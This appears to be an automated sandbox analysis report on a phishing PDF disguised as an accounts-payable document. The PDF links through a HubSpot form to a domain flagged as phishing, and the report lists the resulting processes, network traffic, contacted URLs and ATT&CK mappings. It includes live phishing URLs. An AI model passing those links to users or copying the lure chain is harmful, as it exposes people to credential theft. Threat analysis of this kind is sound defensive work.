Source: chromecache_226.9.dr, chromecache_237.9.dr	String found in binary or memory: https://js.hs-banner.com/v2
Source: chromecache_241.9.dr, chromecache_231.9.dr	String found in binary or memory: https://js.hs-banner.com/v2/48528028/banner.js
Source: chromecache_241.9.dr, chromecache_231.9.dr	String found in binary or memory: https://js.hscollectedforms.net/collectedforms.js
Source: chromecache_223.9.dr	String found in binary or memory: https://js.hsformsqa.net/success-green.svg);width:130px;height:201px;padding-top:28px;margin:0
Source: chromecache_241.9.dr, chromecache_231.9.dr	String found in binary or memory: https://js.hsleadflows.net/leadflows.js
Source: chromecache_223.9.dr	String found in binary or memory: https://local.hsappstatic.net/forms-embed/static/bundles/project-v3.js
Source: AP_FTT_GENERAL FUND_Email_AmityRegionaltNo5 - 1009684_315100_N.pdf	String found in binary or memory: https://share.hsforms.com/1iP-GWQvvT0CvU3TDKoL6Swsw4gs)
Source: chromecache_223.9.dr	String found in binary or memory: https://static.hsappstatic.net

Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: classification engine

Classification label: mal68.phis.winPDF@39/94@80/24

Source: AP_FTT_GENERAL FUND_Email_AmityRegionaltNo5 - 1009684_315100_N.pdf	Initial sample: https://share.hsforms.com/1iP-GWQvvT0CvU3TDKoL6Swsw4gs
Source: AP_FTT_GENERAL FUND_Email_AmityRegionaltNo5 - 1009684_315100_N.pdf	Initial sample: https://share.hsforms.com/1ip-gwqvvt0cvu3tdkol6swsw4gs

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 06-04-09-011.log

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\AP_FTT_GENERAL FUND_Email_AmityRegionaltNo5 - 1009684_315100_N.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1648,i,14027033372675645818,4714540916533078319,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "https://share.hsforms.com/1iP-GWQvvT0CvU3TDKoL6Swsw4gs"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2664 --field-trial-handle=2532,i,2747165998930371040,13426695506378411173,262144 /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1648,i,14027033372675645818,4714540916533078319,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2664 --field-trial-handle=2532,i,2747165998930371040,13426695506378411173,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.8.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.8.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.8.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.8.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.8.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.8.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: AP_FTT_GENERAL FUND_Email_AmityRegionaltNo5 - 1009684_315100_N.pdf	Initial sample: PDF keyword /JS count = 0
Source: AP_FTT_GENERAL FUND_Email_AmityRegionaltNo5 - 1009684_315100_N.pdf	Initial sample: PDF keyword /JavaScript count = 0

Source: AP_FTT_GENERAL FUND_Email_AmityRegionaltNo5 - 1009684_315100_N.pdf

Initial sample: PDF keyword /EmbeddedFile count = 0

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Spearphishing Link	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	1 System Information Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
AP_FTT_GENERAL FUND_Email_AmityRegionaltNo5 - 1009684_315100_N.pdf	2%	Virustotal		Browse
AP_FTT_GENERAL FUND_Email_AmityRegionaltNo5 - 1009684_315100_N.pdf	8%	ReversingLabs

Source	Detection	Scanner	Label
https://js.hsformsqa.net/success-green.svg);width:130px;height:201px;padding-top:28px;margin:0	0%	Avira URL Cloud	safe
https://local.hsappstatic.net/forms-embed/static/bundles/project-v3.js	0%	Avira URL Cloud	safe
https://5qwo.oventera.ru/favicon.ico	100%	Avira URL Cloud	phishing
https://48528028.fs1.hubspotusercontent-na1.net/hubfs/48528028/dicna7me-Jan-09-2025-05-47-09-4108-PM.png	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
forms.hsforms.com	104.18.80.204	true	false	high
js.hs-banner.com	104.18.40.240	true	false	high
static.hsappstatic.net	104.17.174.91	true	false	high
5qwo.oventera.ru	104.21.32.1	true	true	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	high
48528028.fs1.hubspotusercontent-na1.net	104.18.41.124	true	false	high
js.hs-analytics.net	104.16.160.168	true	false	high
js.hsleadflows.net	104.18.138.17	true	false	high
track.hubspot.com	104.16.118.116	true	false	high
forms-na1.hsforms.com	104.19.175.188	true	false	high
code.jquery.com	151.101.2.137	true	false	high
js.hsforms.net	104.18.141.119	true	false	high
forms.hscollectedforms.net	104.16.107.254	true	false	high
js.hs-scripts.com	104.16.140.209	true	false	high
www.google.com	142.250.186.100	true	false	high
share.hsforms.com	104.19.175.188	true	false	high
googlehosted.l.googleusercontent.com	216.58.206.65	true	false	high
js.hscollectedforms.net	104.16.107.254	true	false	high
x1.i.lencr.org	unknown	unknown	false	high
blogger.googleusercontent.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://share.hsforms.com/1iP-GWQvvT0CvU3TDKoL6Swsw4gs	false		high
https://forms-na1.hsforms.com/embed/v3/counters.gif?key=forms-embed-v3-RENDER_SUCCESS&count=1	false		high
https://forms.hsforms.com/submissions/v3/public/submit/formsnext/multipart/48528028/88ff8659-0bef-4f40-af53-74c32a82fa4b/json?hs_static_app=forms-embed&hs_static_app_version=1.6926&X-HubSpot-Static-App-Info=forms-embed-1.6926	false		high
https://forms.hsforms.com/embed/v3/form/48528028/88ff8659-0bef-4f40-af53-74c32a82fa4b/json?hs_static_app=forms-embed&hs_static_app_version=1.6926&X-HubSpot-Static-App-Info=forms-embed-1.6926	false		high
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://js.hs-analytics.net/analytics/1736506800000/48528028.js	false		high
https://js.hsleadflows.net/leadflows.js	false		high
https://forms.hsforms.com/embed/v3/counters.gif?key=collected-forms-embed-js-form-bind&count=1	false		high
https://5qwo.oventera.ru/favicon.ico	false	Avira URL Cloud: phishing	unknown
https://forms-na1.hsforms.com/embed/v3/counters.gif?key=forms-embed-v3-SUBMISSION_SUCCESS&count=1	false		high
https://static.hsappstatic.net/forms-submission-pages/static-1.5640/bundles/share-legacy.js	false		high
https://js.hsforms.net/forms/embed/v3.js	false		high
https://js.hscollectedforms.net/collectedforms.js	false		high
https://forms.hscollectedforms.net/collected-forms/v1/config/json?portalId=48528028&utk=	false		high
https://track.hubspot.com/__ptq.gif?k=1&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48528028&ccu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&pu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&t=Form&cts=1736507074865&vi=fad5ff301ef354e7e3eb2237294e1ed7&nc=true&u=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1&b=251652889.1.1736507074858&cc=15	false		high
https://5qwo.oventera.ru/1OSoK/?submissionGuid=372d032d-1b42-4dac-bf17-76c0861584fb	false		unknown
https://forms-na1.hsforms.com/embed/v3/counters.gif?key=forms-embed-v3-DEFINITION_SUCCESS&count=1	false		high
https://a.nel.cloudflare.com/report/v4?s=v9s9dAcznNpE1kUuvmB%2Flo2MawSGLoeLuIULt1ecyz8QjWlB3PFEmylCCNRRyTQF6racTJd%2Fq4oGme4YTXD5CPvhSi5EDR2Pks25PwANAQvSbDnF8U4yafsKQ3kZ1A%3D%3D	false		high
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdrhY6zM7txEf61nPO67_Cl7rOyCGsyEb9GaIEqe3M-p-yN2nJeBUGCXkDygK7t8xYVcKwSgu4v0_u6EZF5srUh16p0vNl1K8hBeBV8dg-KcOpt7y8vrkamMOU2HxW0STp0JDEp21FWuCWxDXZX0EtxoLPSBWR6WwhXZglXIvWXbh24ojuyofD6htY8D4/s3396/userinter.png	false		high
https://track.hubspot.com/__ptq.gif?k=15&fi=88ff8659-0bef-4f40-af53-74c32a82fa4b&fci=e9a82a43-503a-42c6-b7ff-a7bf73266280&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48528028&ccu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&pu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&t=Form&cts=1736507074992&vi=fad5ff301ef354e7e3eb2237294e1ed7&nc=true&u=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1&b=251652889.1.1736507074858&cc=15	false		high
https://track.hubspot.com/__ptq.gif?k=17&fi=88ff8659-0bef-4f40-af53-74c32a82fa4b&fci=e9a82a43-503a-42c6-b7ff-a7bf73266280&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48528028&ccu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&pu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&t=Form&cts=1736507075017&vi=fad5ff301ef354e7e3eb2237294e1ed7&nc=true&u=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1&b=251652889.1.1736507074858&cc=15	false		high
https://js.hs-scripts.com/48528028.js	false		high
https://track.hubspot.com/__ptq.gif?k=18&fi=88ff8659-0bef-4f40-af53-74c32a82fa4b&fci=e9a82a43-503a-42c6-b7ff-a7bf73266280&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48528028&ccu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&pu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&t=Form&cts=1736507211226&vi=fad5ff301ef354e7e3eb2237294e1ed7&nc=true&u=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1&b=251652889.1.1736507074858&cc=15	false		high
https://js.hs-banner.com/v2/48528028/banner.js	false		high
https://static.hsappstatic.net/StyleGuideUI/static-3.415/img/sprocket/favicon-32x32.png	false		high
https://48528028.fs1.hubspotusercontent-na1.net/hubfs/48528028/dicna7me-Jan-09-2025-05-47-09-4108-PM.png	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.2.dr	false		high
https://js-na1.hs-scripts.com/48528028.js	chromecache_221.9.dr, chromecache_228.9.dr	false		high
http://www.hubspot.com	chromecache_221.9.dr, chromecache_228.9.dr, chromecache_226.9.dr, chromecache_237.9.dr	false		high
https://static.hsappstatic.net	chromecache_223.9.dr	false		high
https://js.hs-banner.com/v2	chromecache_226.9.dr, chromecache_237.9.dr	false		high
https://local.hsappstatic.net/forms-embed/static/bundles/project-v3.js	chromecache_223.9.dr	false	Avira URL Cloud: safe	unknown
http://hubs.ly/H0702_H0	chromecache_241.9.dr, chromecache_231.9.dr	false		high
https://js.hsformsqa.net/success-green.svg);width:130px;height:201px;padding-top:28px;margin:0	chromecache_223.9.dr	false	Avira URL Cloud: safe	unknown
https://share.hsforms.com/1iP-GWQvvT0CvU3TDKoL6Swsw4gs)	AP_FTT_GENERAL FUND_Email_AmityRegionaltNo5 - 1009684_315100_N.pdf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
